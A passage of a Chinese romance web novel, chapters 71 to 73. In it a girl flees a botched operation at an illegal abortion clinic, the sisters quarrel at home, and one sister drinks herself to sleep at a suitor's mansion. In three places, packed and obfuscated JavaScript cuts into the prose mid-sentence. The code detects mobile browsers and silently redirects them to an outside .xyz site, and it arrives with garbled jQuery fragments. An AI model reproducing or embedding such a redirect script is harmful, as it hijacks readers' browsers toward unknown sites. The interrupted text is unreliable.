那女大夫又是一笑:“怕什么,我们卫生所的手术经验,是很丰富的。何况你小姐连预约费都交了,早做完手术,也早点了却一件心事啊。”说着便伸出手来,要牵白瑾琪的胳膊。 白瑾琪大骇,挣扎着站起来往后一躲,说话时牙齿都在打颤:“和我一道的人还没来,我不能做手术。” 那女大夫见她很不配合的样子,便有些不耐烦:“你小姐约的是傍晚,现在六点钟,正是我们为你空出来的时间,你到底要不要做?等过了时间,别的病人来了,可就顾不上你了!” 白瑾琪重重地吞咽了一下,鼓足了全身的勇气回道:“做手术非同小可的,我听说大医院做流产手术,也不能保证一定就安全。我家里人不来,没有人接应照顾我,万一手术不顺利呢?你们卫生所能负手术后的责任吗?” 那女大夫放沉了脸色,不能反驳她的话,最终只是冷哼了一声,说:“你小姐执意不愿意,我们也不能强摁着你进手术室。不过再等下去,就算是预约错过了,你小姐要再想做手术,可得排在别的病人之后,并且还要另付五块钱费用的。” 说罢,挺着背脊,很傲气地又回去了诊室,将门重重地关上了。 白瑾琪顿时两腿一软,脱力一般滑坐回椅子上。她向楼梯的位置望去一眼,心里仍抱着渺茫的希望:陈芳藻一定会来的,这么大的事,她怎么能丢下自己一个人呢? 这样一想,心里除去害怕,又生出数不清的委屈和无措,眼眶一下子濡湿起来。 白瑾琪赶紧抬手擦了,自己安慰自己道:“别多想,别多想,等就是了。” 这一等,就等了一个多钟头。她在长凳子上迷糊了过去,再睁开眼的时候,窗外头的天色已经是漆黑一片了。 恰是这时候,楼梯处传来一阵上楼的脚步声,白瑾琪心里一跳,猛地扭过头去张望。可半途便醒悟过来:陈芳藻要来也是一个人来,怎么会有一阵脚步声,那恐怕不是她了。人又被空欢喜后的失落所淹没。 来人果然不是陈芳藻,而是一对母女,那女孩也是十七八岁的年纪,因为神态青涩畏怯的缘故,看着甚至比白瑾琪还要小一点。只是她半新不旧的旗袍下已经能看出一点肚子隆起的弧度,月份要比她大得多了。 听见脚步声,诊室的门又一次打开了,那女大夫再次迎了出来:“吴太太、吴小姐到了。”然她看了一眼女孩的肚子,笑容顿时又收敛了,皱眉道,“不对,看这肚子的大小,你小姐不止三个月了吧?” 那对母女之中的母亲僵笑一下,讪讪地解释:“我们来会诊的时候,确实只有三个月呀。只是孩子害怕,犹豫不决的总要劝一阵子,贵卫生所的预约又多,一来二去,这、这就近四个月——” 还没有说完,那女大夫就抬手打断她,用很公事公办的口气道:“我们做手术,三个月是一道分界线。超过三个月的,因为风险高一些,可是要额外加收一笔费用的。” 那母亲的心急完全写在脸上,咬牙道:“行行行,加费用就加费用!只要能把她肚子里的东西拿掉,多花一点钱,我也认了!” 在她们交涉的期间,那女孩就一声不响地掩着肚子站在一边,那一双纯真的眼睛小鹿似的,胆怯又好奇地偷偷看向坐着的白瑾琪。 那边很快谈妥了,女大夫总算露出满意的笑脸,道:“行了,等我们备好工具,这就可以开始了。”说着,朝诊室里喊了一个名字,便有另一个看护士似的女人托了洋铅的盘子出来,隐约可以看见里头的金属工具泛着暗哑的冷光。 两人开了走廊另一边手术室的门,进去准备了。 那母亲则拽了自己孩子的胳膊在长凳上坐下,正是白瑾琪旁边相隔不远的位置,数落道:“我真是作孽生了你!做出这种丑事不说,你看看这预约费外加费,你这是要掏空我呀!” 那女孩忍着眼泪缩成一团,她母亲见自己三棍子打不出一个屁来,又有白瑾琪这个外人在场,凭白给人看笑话。发作一通后,便嘀嘀咕咕说要去买些水果,走开了。 她母亲一走,那女孩啜泣两声,到底坐正了身体。那双小鹿似的眼睛又向白瑾琪投来怯怯的一眼,悄悄靠近她一点,几经犹豫后终于开口,细声细气地问:“姐姐......你不怕吗?” 白瑾琪心道:怕啊,怎么不怕?你看我没有人陪,以为我是格外的勇敢胆大吗?其实正因为我孤身一人,那恐惧才是成倍的呀。 白瑾琪望着她正要说话,那边手术室里已经在叫人了,那姓吴的女孩一下便慌了神,人虽站了起来,却停在原地手足无措。便是这一下的工夫,白瑾琪抓住了她的手道:“你别怕,你的妈妈一直陪着你呢。” 即便那母亲总在数落人,可到底没有拍拍袖子,抛下一切甩手不管啊。她在旁边看着,又有心酸又有羡慕。 那女孩子听了,脸色虽然还是白惨惨的,多少镇定了一点,几不可闻地“嗯”了一声。和白瑾琪同样冰凉的手握了一下后,一步一挪动地,去到了那间手术室里。 大门重新关上。 自从那女孩进去后,白瑾琪的心就悬了起来,时刻留意着那里头的动静,心想:陈芳藻是绝不会出现了,她是又一次把我抛下了,那么,我真要一个人做这次手术吗?在她之后,是不是就轮到我了呢? 只不过几分钟后,这念头就彻底的打消了。 也不知那流产手术是如何进行的,只听见里头不断传出哀叫,最开始只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876460|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是压抑的呻吟,随后就变成痛呼,那声音像是看不见的手,无形攥紧了白瑾琪的心脏。每每惊叫一下,白瑾琪便跟着颤抖一下。 忽而,手术室的门被人从里头推开了,传来女大夫的声音说:“要命!怎么出这么多血!” 看护士似的女人随即跑出来,只是雪白的医生服上染了一摊血红色,手上洋铅托盘里的工具,也都血迹斑斑,瞧着叫人发怵。 偏偏这个时候,女孩的母亲去而复返,一看这个架势,手里提着的袋子直直落到地上,大枣苹果滚了一地。她急得叫了声“我的儿啊!”,上前便要拦住那看护士理论。 那护士正急着跑去诊室拿止血用的棉花纱布,哪里还顾得上她,恨不得上手将她推开,凶狠道:“你拦我试试!你拦我试试!没我这个医生,你女儿的命还要不要了?!” 白瑾琪呆立着看这一出闹剧,忽然醒悟过来:我这是在做什么?大医院也不敢打保票的手术,我怎么有胆子来这名不见经传的小诊所?就因为陈芳藻把我带了来吗?我真糊涂,纵然这是个大错,值得拿性命去填补吗? 这念头一经闪现,人也跟着打了一个寒噤,在这凉气浸人的秋夜里,总算清醒了一回似的。 白瑾琪深深望了一眼手术间的大门,头也不回地往楼下跑,离开了卫生所里电灯的光亮,重新回到寂静又黑黢黢的巷子里。 她后怕得喘着粗气,还没等把狂跳的心安抚下来,就被人从后头拍了一拍肩膀。白瑾琪差点尖叫出来,后面的人倒是先于她说话了:“瑾琪小姐,还真是你啊!我前几天就在这儿看到一个身影,格外的像你,我还疑心是自己看错了呢!” 原来那天在这小巷子里三番两次张望过来又被同伴叫走的,正是余佰。 他激动的劲头过了,才古怪地看了白瑾琪一眼,问:“瑾琪小姐,这大晚上的,你怎么在这儿?据我所知,这一家卫生所可是非法经营,里头的医生,根本没有医学的资质,坑害过许多病人哩!我们这段时间,就是埋伏在这附近,要做曝光呢!” 白瑾琪的脸上实在有一丝尴尬,好在天色很黑,对面的余佰未必看得清楚,只说:“我在这里约了人,只是左等右等都不来,我只好先走了。” 忽而想到什么,又急道:“你们来了几个人?快上去!快上去!我下来的时候,上面正有一场手术失败了,设若像你说的,这里的医生都是骗子扮的,那岂不是草菅人命?得赶紧送去大的医院啊!” 余佰“啊呀”了一声,惊道:“当真?当真?”说罢,赶紧去找他值守在就近几处的同僚,三四个记者,两个直接冲去了二楼,另一个则跑去巷子口拦黄包车。 记者们各忙各的,白瑾琪便准备趁这工夫走人,想不到余佰回头看了她一眼,和几个同僚商量几句后,将脖子里的相机交给其中一个,走了过来。 说:“瑾琪小姐,我送你回去吧。这里距离椿樟街,可不近啊,我这个当邻居的,这一点责任总要尽到。” 71. 第 71 章 椿樟路那一边,为了白瑾琪直到七八点钟也不回家的事,家里几个人,都快要急疯了。 起初,是孟西洲的司机跑了一趟学校却无功而返,这就宣告了白瑾琪是行踪不明的状态了。只是白瑾瑜明白这个小妹虽然行为跳脱,总做不出跟着她亲妈一走了之的糊涂事,还是耐着性子等。 但也不能白白地浪费时间。 她心里料定了和白瑾琪见面的就是陈芳藻,白瑾琪出了家门,那就好比放飞的鸽子,很不好找。可陈芳藻呢?她是从外省进京的,坐的火车,住的旅店,总会留下一点记录。 于是当即联系了自己所有经营酒店的朋友,请他们再问一问各自的朋友,看最近有没有旅店住进一个姓陈的女客,且那旅店务必是价格实惠的。这虽是大海捞针一样的办法,也聊胜于无了。 这个时候,孟西洲倒是帮了大忙,他恰好有在首都铁路局做事的朋友,便一道挂了电话,托人去打听。 白瑾瑜在旁边补充道:“来往北京的铁路太多,结合每一天的班次,那简直查不到头。依我看,就着重去查北京上海这一条路线,我从前就和瑾琪说过,按陈芳藻的胆识,绝不会撇开上海,去到另一个人生地不熟的城市。” 想不到这一次,消息来得格外快。 对面的人道:“她什么时候、由哪里来的北京,我们还没有查到,不过今天早上,正有一位姓陈的太太坐火车离京去往上海。她是由升升旅店打电话订的车票,依照你们的描述,我看就是她了。” 白瑾瑜吃了一惊,问:“今早就走了?她订了几张票?” 对面道:“只订了一张票,正是一个人走的哩!” 这一下,连白瑾瑜都不由地在心里七上八下起来。本来,她是想通过陈芳藻来找白瑾琪的,可如今一看,陈芳藻早又逃之夭夭了,那白瑾琪会在哪里? 白瑾璎就是在这时候到家的,蒋牧城把她送进家门时,正看见白瑾瑜和孟西洲二人脸色凝重地围着电话机,这还是头一回四个人齐聚一堂的场面呢。 白瑾璎了解了事情经过后,当下急得眼眶通红,捂着脸自责道:“是我不好。我买点心回来的那天,瑾琪对我嘻嘻哈哈很快活的样子,我其实看出来她是佯装的,可我想她自尊心很强,未必乐意别人插手她在学校的事,我就没有问,我不知道是——” 她说着说着,声音就打起颤来,几乎漏出哭腔。 还是蒋牧城按住她的肩膀才稍稍镇定下来,前者果断道:“我现在就开车出去找人,另外联系附近几处警察署。瑾琪平时常去的地方,有可能去的地方,都告诉我。”在汇总完讯息后,人就迈出屋子,行动起来了。 孟西洲也把司机派遣出去,只是为防突发状况,自己则留在了椿樟街的房子里。 接下来,就真是苦等了。 白瑾璎眼眶上的红就没有消退过,其间默默淌了几滴眼泪,又怕给大家增添消极的气氛,赶忙自己擦去了。白瑾瑜倒好一些,总是头一个抢去接电话,言语也有度,实在有顶梁柱的姿态。 可即便如此,等到夜里八点钟,脸上也流露出心急如焚的神态。 她彻底坐不住了,迈着步子往玄关的方向走,坚决道:“这么等下去,绝不是办法。瑾琪要是有什么意外,我往后连觉也睡不安稳了,我也开车出去找。实在不行,只有去她戏剧社同学的家里,一个一个的问了。” 孟西洲没见过她如此急迫的样子,第一反应便是忧心,当下说:“我和你一道去,你这样,我不放心。” 站起身来,刚要去叮嘱同样含泪心焦的虞妈留在家里照顾好白瑾璎,正是在这时候,余佰护送着白瑾琪登门了。 白瑾琪瑟缩在余佰的身后,深色的大披肩掩着巴掌大的小脸,加上红肿的眼睛和垂头丧气的样子,实在有被霜打似的可怜样。 可这样子却没有激起白瑾瑜的同情心,她只觉得一阵怒火在胸口烧起来,老鹰抓住小鸡似的,一把将白瑾琪从余佰的身后扯了出来,恨恨道:“真不容易,你还晓得要回来呢!” 旁边白瑾璎听见白瑾琪回来了,当下就从沙发上站起来,要冲过来看她,却被白瑾瑜拦在边上不让她靠近。 拉着白瑾琪的胳膊接着说:“我只问你,陈芳藻回来找你了,是不是?我真是小瞧了你,原来你才是保密工作做得最好的人!”她问了一连串,结果白瑾琪就是红着眼圈闷不吭声,木木地任由她拉着,那又是一副拒不合作的姿态了。 白瑾瑜见她咬死了不供出陈芳藻的下落,冷笑起来:“你以为你不说,我就不知道吗?告诉你吧,陈芳藻早坐了今早的火车回上海去了!亏你对她很维护,可惜,她不领你的情呢!” 这一句讽刺其实不重,偏偏刺中了白瑾琪担惊受怕地苦等了一晚上的疮口,且又宣告了,她这是又一次被自己母亲给抛下了。 白瑾琪心理上受不了,终于哭喊道:“可她是我妈呀!”她的苦闷压抑到这一刻,情绪已然激动到了顶点,嘴里的话,不过脑筋地就冲出来了,“你们没有妈妈陪着到大,你们怎么会懂呢!” 这句话,一下就刺痛了两个人的心。白瑾璎淌着眼泪,连白瑾瑜都像给人蛰了一口似的,一下子放开了拉人的手,退开一步冷声道:“对,你有自己的母亲,我管你,是我管错了。” 白瑾琪喊过一句后,大脑有短暂的空白,迷蒙中看见白瑾瑜站得离自己两步远,而白瑾璎则很近地贴在她身后。 就是这两步远的距离,便好似楚河汉界一般,她们永远是亲密的一伙,而自己就是被排除在她们之外的。在搬来椿樟路之后,许多个瞬间,她还当自己已经被接纳了呢。 于是情绪上的激动刚要消退,又被喷涌上来的这一阵委屈顶上了。 白瑾琪也冷笑了一下,说:“你真是要管我吗?你是想要指挥我呀。最好家里的人都是受你掌控的员工,各个安安分分,让你省心才好。可我是个活生生的人呀,不是你的傀儡,你怎么能够掌控我呢?” 她看着白瑾瑜和白瑾璎紧靠在一起,妒忌的酸液又冒出来了,颤抖着嘴唇又说:“你爱指挥别人,就二姐姐甘于受你的指挥,难怪你们的关系总是最好!” 白瑾瑜和白瑾琪争执不下,白瑾璎站在旁边,虽没有说一句话,心里却一直受着翻江倒海般的煎熬。 她从来是闷声做事的人,有什么压力也是自己来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894711|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扛,译文不顺利的压力,学校里流言蜚语的压力,学生家长不分青红皂白就来投诉的压力,统统压在她身上,早已经是不堪重负了。 白瑾琪的话,虽然可以说是无心,但实在是压垮她的最后一根稻草。 她想:在瑾琪看来,我真是甘于受人掌控的傀儡吗?我不过是从不做出格的事,也不愿意与人为难,故而别人怎样说,为着事情能顺利地进展下去,我妥协一点也不要紧,极力地去配合罢了。原来在她看来,我是这个样子的吗? 瑾琪这样看我,恐怕别的人,也是这样看我。 譬如自己带教的班级分明拿了好成绩,结果却要自己把教案共享给缪昌平;自己安分地教书育人,多余的交际一概没有,偏偏学校里就有了她的桃色绯闻。那放出谣言的人意欲何为呢?总归是想利用谣言的力量,左右她操控她吧。 就因为我是个容易掌控的人,所以他们一个一个的,都想来掌控我吗? 我偏偏不能令他们如愿。 可我该怎么做?我要怎么去对抗? 白瑾璎的脑海里,像有两股浪潮在对冲,自己就在这浪头之间,被撞得东倒西歪。同时又有一种不被善待的苦涩,就因为自己极力地容让,到头来,她反倒成了别人可以随意压榨对待的烂好人了。 这三重念头相互拉扯,反倒什么也思考不清,脑子里嗡嗡直响,似乎那烦愁,是根本挥散不去的。 白瑾璎头一回体会到了“叛逆”的感觉。 她从小到大最是循规蹈矩,这样的人在生活中多少带着忍耐,忍到了顶点,总要往极端上去宣泄一次。譬如现在,“规矩”似乎就成了“枷锁”,让人无论如何也想要挣脱。 白瑾璎在学校里受流言攻击的时候,一心想要回到家这个巢穴;可现在呆在这一团乱的家里,又一心想要逃离了。 她望着白瑾琪道:“这世上,没有谁甘愿受谁的‘指挥'',我若是愿意受人‘指挥'',那也是这指挥在我看来是对的。瑾琪,你连对错也分不清了吗?这世上,也不光只你心里苦闷啊——” 说到“苦闷”的时候,白瑾璎的声音狠狠地打了个颤,又猛吸一口气稳住了,扭头哀求似的对白瑾瑜道:“我知道,这种时候我不该不在,可我实在想找个地方静一静,我——” 话没有说完,成串的眼泪就扑簌簌地滚落下来。 白瑾瑜从没见过她失态至此,本来冷凝着脸和白瑾琪对视呢,这下也有点慌神,想让她先回房间去,也算是可以静一静的私密空间了。可不要这个刚找回来,那个又跑得没影了。 但转瞬之间,白瑾璎已经往门外走了,连外衣都没有拿,可见逃离的意愿之强烈。 屋外,蒋牧城将将停好了汽车,开了车门下来。 他由警察署接到了白瑾琪已经回家的电话,便不再搜寻,开车回来了。想不到刚一下车,便看见白瑾璎抹着眼泪从屋子里奔出来,大概她无心看路,一头撞进自己的怀里。 而在白瑾璎身后,紧跟着焦头烂额追出来的白瑾瑜,看见他来了,反倒停了脚步,纠结再三,还是冲他道:“眼下我是顾此失彼,托你照看好瑾璎,可千万别让她犯傻呀!” 72. 第 72 章 仍旧是车上,白瑾璎在副手座上掉着眼泪,和自己接她下学时的情境,实在有着微妙的相似。 蒋牧城轻声问:“我们去哪里呢?” 去哪里呢?白瑾璎自问,去哪里可以消解这些烦闷和愁苦呢?那么多的人,将消愁的法子寄托在一个酒字上,那当真管用吗?自己虽没有试过,可设若一点用没有,何以人人都说“一醉解千愁”呢? 于是瓮声瓮气道:“我们去荣华大饭店,或者别的饭店也行,我想喝酒。” 蒋牧城长久地看了她一眼,并没有说什么,只是手上转动了方向盘,向某一条路上开去。 白瑾璎靠在车座椅上,夜里带着凉意的风透过车窗扑到脸上,多少叫人舒服了一点。她似睡非睡地阖着眼,等眼睛再一次睁开时,看到窗外的景色是很幽静的,似乎不像有大饭店的热闹样子,狐疑道:“我们这是去哪里?” 蒋牧城道:“这个时间,大饭店正是人声鼎沸的时候,人来人往,是很闹心的。横竖你想要喝酒,我带你去一个有酒的地方就是了。” 他说这话时,车已经开过气派的黄铜大门,在一处洋楼前停了下来。而白瑾璎也借由周遭的景致,认出这里是蒋牧城家里的公馆了。 蒋公馆的制式和从前的白公馆不大一样,从前在白公馆,大家都是住在格外宽敞的一栋大洋楼里,各人有各人的房间。蒋公馆则是分着独栋的小洋楼,各自为政,晚饭或者家庭小聚会,则都在蒋公蒋太太所在的主楼进行。 蒋牧城几乎是瞬间做了决断,把白瑾璎带来自己居住的小洋楼。 一来,自己的母亲睡得早,现在已接近她要休息的时间了,不方便去打扰。二来,深更半夜,自己把哭得这样可怜的白瑾璎带回家来,不说她正是想找清静,恐怕不乐意受到别人过多的关注,单说自己是以什么身份带她来的呢? 在白瑾璎没有明确的首肯之前,这就不好解释。 再一点,就是他的私心了。母亲待白瑾璎一向很亲切,看到她哭,势必要拉了去百般的安慰,那末,自己也就别想再见到人了。 是以来自己的洋楼,既可以满足私心,也少了许多麻烦。且他手底下的听差,嘴都很严,绝不会有不好的流言走漏出去,即便白瑾璎不接受自己,对于她的名声,也不会有损害的。 这样想着,虽然认为处处稳妥,多少有一种失落在心底划过。 而在白瑾璎这里,低落之余,反倒生出一点新奇。 往年跟着爸爸做客的时候,不是没来过蒋公馆,不过用餐谈话都是在主楼,从没来过蒋牧城的领地。何况当时白瑾瑜和蒋牧城势同水火,别说蒋牧城不发出邀请,根本白瑾瑜自己就是绕道而行,不屑于去看,自己跟在白瑾瑜身边,当然也就没有见过。 只是这一份新奇,很快就被喝酒的念头盖过了。 一走进洋楼的会客厅,还不等在沙发上坐下,就问:“酒呢?现在就有吗?” 蒋牧城无法,只好叫来一个听差,让他取一瓶最温和的红酒。不想那听差人不大机灵,红酒取来了,刚拔了软木塞子,才发现没有拿配套的酒杯来。 蒋牧城刚想让白瑾璎再等一等,没等他说出口,那边白瑾璎已经从茶几上自取了一只茶杯,倒了满满一杯红酒后,径自先喝了起来。 这酒是什么滋味?那真说不大清,总之绝不难喝,过喉是凉的,可流到胃里,又是热乎乎的,颇有一点神奇之感。白瑾璎这个“门外汉”,真就像喝水一样,一下饮了大半杯。 她大概自己都没有察觉,但凡是呆在蒋牧城的身边,便格外的没有警惕心,连从没喝过的洋酒都敢去豪饮,似乎这个人,可以和全然的安全画上等号。这要是换作别的男子,那简直不能够想象。 蒋牧城见她已经喝上了,也就不再拘泥,反而觉得她用茶杯喝洋酒,竟也有一种别样的可爱。在她正对面的沙发上坐下后,问:“酒也喝到了,总该高兴一点了吧?” 而酒是令人迷醉的东西,把理性的堤坝瓦解了,感性的洪水就破闸而出了。 白瑾璎喝着喝着,突然呜咽一声,哭着说:“为什么总有人和我为难呢?” 蒋牧城望着她,沉沉地问:“谁和你为难?那个姓徐的?” 白瑾璎的神情空白了一瞬,似乎是不明所以的样子,随即又有些愤愤然,说:“什么姓徐的?分明是姓缪的!” 她只气愤了这一下子,很快又消沉下去,兀自流了一会儿眼泪,又倾吐道,“想来想去,我这个人有什么本事呢?我不会交际,也不爱热闹,只会啃啃书本,于社会于家庭都是很无用的。” 蒋牧城真想去抱一抱她,几乎腰杆已经使力,人就要从那沙发上站起来了,用了全部的定力,才将那汹涌而来的渴望压抑下去。只是定定地凝望着白瑾璎,郑重道:“胡说八道。你做的够好了,还能要求一个人怎样的好?” 白瑾璎也不知听没听懂,抿了抿嘴角并没有说话,一仰头,把茶杯里的酒液饮尽了。 要白瑾璎喝醉,根本也不必很久,没出十来分钟,她已经红着一张脸伏在了沙发扶手上。两眼紧闭着,时不时的从鼻子里,发出软绵绵撒娇似的轻哼。 蒋牧城自她猛喝了半杯便满脸飞红之后,也知道了她酒量不好,未免她真的喝得不省人事,早已经吩咐佣人收拾好了客房。然而此刻人真的醉倒了,他没有想着立刻去照顾,反而近乎痴迷地,盯着她的睡颜看了许久。 可是不够,不够。 还想看更久,久到......最好就是一辈子。 蒋牧城不免为自己的妄念嗤笑一声,回过神后,终于伸手将自己心爱的人,如同抱一片柔软的羽毛似的,抱去了二楼的客房。 白瑾璎被放到被褥上时,难受似的哼哼了两下,扭着被立领包裹住的脖颈,额头也隐约可见饮酒后发热的汗迹。蒋牧城第一反应是找女佣人给白瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902898|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璎换身干净舒服的衣衫,横竖自己姐姐结婚之前,有成箱的衣服堆在家里不曾穿过。 可不知什么缘故,他心里就是不大乐意。 为了支撑这一份不乐意而使之合理,又想,瑾璎是很害羞腼腆的性格,恐怕也不喜欢被不认识的人看见身体,哪怕是个女佣人呢? 于是叫听差拿来了热水和毛巾,自己挽起了衬衫袖子,笨拙又很仔细地替她擦了手脸。视线落到她纤细的脖子上,犹豫片刻,还是用极轻的动作,替她松开了两个扣子,把下巴脖颈,也擦拭了一下。 但他到底没伺候过人,动作也不周全,其间,白瑾璎像是觉得不大舒服,远远地把头扭开了,做一个“讨厌”的表示。等蒋牧城的热毛巾拿开了,她倒是又把头扭回来了。 扭过头时,白瑾璎的眼睛竟是半睁开的,含着一片水光,看得蒋牧城一窒,心跳也像是漏了一拍。想不到四目相对后,那双漂亮的眼睛没甚波澜,木愣愣的,又给闭上了。 蒋牧城气笑道:“把我折腾了一通,就装不认识我吗?”心里又爱又恨,伸出食指就想刮一下白瑾璎秀挺的鼻梁,可最终还是停住了,转而以指尖触碰着发丝,理了理她额角的碎发。 白瑾璎这一醉,真不知天地为何物,连自己睡了几个钟头,都没有概念。迷迷糊糊转醒时,只觉得自己躺在舒适干净的床上,四周昏昏然一片,唯有床头亮着一盏黄调的台灯,再往边上看—— 白瑾瑜吓了一跳,但很快又平复下来。 蒋牧城正坐在床边一把椅子上浅眠,和自己靠得很近。他一手撑着头,一手随意地垂下,搭在自己盖着的被面上。 在他旁边,还放着水盆毛巾,只那里头的水,已经凉透了。 白瑾璎怔怔地望着他,也不知是不是酒精过去了的缘故,此时此刻,她的脑筋格外清晰,想的却不是困住她的那几桩烦心事,而是那道她本以为自己不会去解的爱情的难题。 试问这世上,还有人能像蒋二哥一样待我吗?又还有谁,可以像他一样,让我毫无顾忌地全心去信赖呢? 她突然明白了,很多年前,在白瑾瑜宣布婚约取消的时候,为什么自己看到蒋牧城守在洋楼外的身影会哭了。原来这份好感由来已久,早在那个时候,她的心就偏向了他,觉得这样好的人,不该苦于被别人辜负。 那么他呢?他对我无疑很爱护,那他是不是,是不是—— 白瑾璎下意识地感到胆怯,但和以往不同的是,在那胆怯之后,又莫名生出一阵勇敢,让她轻轻地覆上了蒋牧城搭在她被子上的那一只手。 然而下一秒,那手竟动起来,变换一个姿势,牢牢地将自己的手握住了。 白瑾璎受了一惊,吓得要将手抽回。抬头见蒋牧城已睁开了眼睛,在昏暗房间里唯一靠近光源的所在,那双深沉的眸子闪着摄人的亮光,避无可避,直白地看向自己道:“你现在还要躲我,那我未免太可怜了。” 73. 第 73 章 再说回椿樟街。 刚才的场面一度乱作一团,白瑾瑜心里像是挂了七八串摇铃,一边刚响过,另一边又响个没完,真是顾了这头顾不上那头,不知道先处理哪一桩才好。好在蒋牧城来得及时,把白瑾璎给接走了,那白瑾璎的事,便可以先放一放手,腾出手脚,专心对付白瑾琪的事。 她松一口气,正要再往屋里走,不成想被站在玄关处的余佰先行拦了下来。 余佰自从把白瑾琪送回来后,还一句话没有说上呢!她们姐妹三个争执不下的时候,他是一句话也插不上,自然了,人家家庭内部的矛盾,也没有他说话的资格,只能呆愣愣站在一边听了个全程。 眼下,好不容易白瑾瑜这位“一家之主”从混乱的中心暂时抽身了,赶紧抓住机会把人拉到一边单独说话。 白瑾瑜忙里抽空,像是刚注意到还有余佰这么个人,回想到是他把白瑾琪领回来的,不管手上多少烦心事,当下放出友好的一笑,道了声谢,又问他是在哪儿找到人的。 能在白瑾瑜这里获得如此礼待,简直是可以感到荣耀的!余佰都有些飘飘然了,硬是正了正脸色,压低了声音道:“我就是要和你说呢,怎么样你都算瑾琪小姐的半个监护人,这样的事,我能不和你说吗?我是在西四胡同的平安卫生所遇上瑾琪小姐的哩!” 白瑾瑜皱了皱眉头:“西四胡同?她去那儿干嘛?” 余佰大感赞同道:“就是说!你们有钱人家的小姐,谁会往那小破胡同跑?何况那平安卫生所是我们报社正在暗访调查的所在,那就绝不是个好地方!瑾琪小姐势必是给坏朋友带去的呀!” 遂把今晚的情况简单描述一番,叹气道,“我听你们刚才的话,这才知道不是坏朋友,而是她娘亲带她去的哩!也是荒唐,自己不要孩子,还得叫上女儿一道去打胎,这是什么用意?还挑了这么一家不正规的诊所!唉,好在那陈女士已经走了,不然,可不是把人往歪路上带吗?” 这边,余佰兀自发着感慨,另一边,白瑾瑜心里的震惊并着怒火,简直要直窜上脑门! 好哇!好哇!难怪白瑾琪闷声不响,连陈芳藻来了也瞒得死紧,原来是为了掩盖另一桩大事! 有那么一瞬间,白瑾瑜甚至晕眩了一下,眼前的景象都天旋地转起来。但她很快又稳住心神,不动声色地观察起余佰,见他一门心思发表着正义的演说,似乎真以为怀了孕要去流产的是今早溜之大吉的陈女士,这才放下心来。 客气地又道了一声谢,说:“余先生,今天实在给你添了不少麻烦,没有耽误你的事吧?真对不住。” 余佰这才慌神地看一眼手表,叫道:“哎哟!我还得赶去医院看看那手术失败的姑娘呢,也好做后续的报导。”说话的时候,人已经向洋楼外的马路上冲去了,将帽子摘在手上挥了两下,“密斯白,回见!回见!” 一溜烟,便转过拐角没有影儿了。 外人一走,白瑾瑜便不再压抑心里的怒气,放任那愤怒的野兽冲出闸门。 她回到屋里,手上一挥便将大门关紧,两眼直看向呆站在原地的白瑾琪。那双眼睛里像是烧着两簇熊熊的火焰,而那火焰下一秒就能化作利爪冲出眼眶似的,近乎具象化地传达着怒火。冷笑一声道:“白瑾琪,你真是好样儿的。” 白瑾琪被那骇人的目光看着,只是被念了一声名字,心里就是一抖,吓得一连退开三步不说,本来已止住的眼泪,也像泉水似的又涌了上来。 在她还呆若木鸡的时候,孟西洲已然反应过来。他一看白瑾瑜的脸色就知道事情不好,这是动了大气了,她眼下的样子,显然比刚才更加怒火烧心,恐怕白瑾琪绝不止捅了一个“瞒而不报”的篓子。 当下向远远观望着不敢靠近的虞妈喊道:“劳驾,把你们三小姐先带去她自己的房间。” 白瑾瑜当然不能放行,瞪了孟西洲一眼就要追过去,硬是被他箍着腰拦了下来,“你现在正是气头上,难免说话太凶狠,本来道理站在你这边的,也变成没理了。” 好在他把人拦住了,白瑾琪哪怕腿软,也提了口气拼命迈腿,扶着虞妈逃难似的躲去了楼上。 小兔崽子溜了,自己穷凶极恶地再追到楼上去教训她,那多不好看! 白瑾瑜干脆不追了,恨恨地把孟西洲的手扯开,转身走去了玄关,从自己的手提包里拿出一包女士香烟。那香烟虽然开了封,里头只空出一根的缝隙,可见平时并不怎么抽。 白瑾瑜抽出一支咬在嘴里,又打开客厅茶柜的抽屉翻找火柴,烦躁得头痛欲裂,只想吸一口烟让自己冷静下来,才能思考接下来要怎么做。 她满心只顾着自己的事,不想唇齿间一空,原来是孟西洲把她咬着的香烟抽走了,捏在了手心里。同时另一只手将她伸进抽屉里东翻西找的手握住了捞出来,转过半圈,便被拥进一个怀抱里。 孟西洲抱着她,宽大的手掌一下一下地抚着她的后背,说:“我这个男朋友就在你眼跟前,你宁愿向香烟求一点慰藉,也不来找我。瑾瑜,难道我连一根烟也比不上吗?” 唯其是带笑的语气,不似责备,更像是带着玩笑意味的幽怨诉苦;而那紧贴着她的胸膛又是坚实的、热乎乎的,像一处极富温情可以依靠的所在。 